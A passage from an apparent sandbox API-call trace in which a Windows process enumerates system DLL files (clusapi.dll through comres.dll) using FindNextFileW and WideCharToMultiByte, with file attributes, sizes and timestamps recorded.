CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.074] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.074] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.074] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.074] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0xddc288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0024.075] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.075] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0xddc288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0024.075] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.075] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.075] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.075] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.075] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.076] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0xddc288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0024.076] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.076] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.076] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.076] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.076] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.076] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.076] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0024.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.077] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.077] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.077] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.077] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 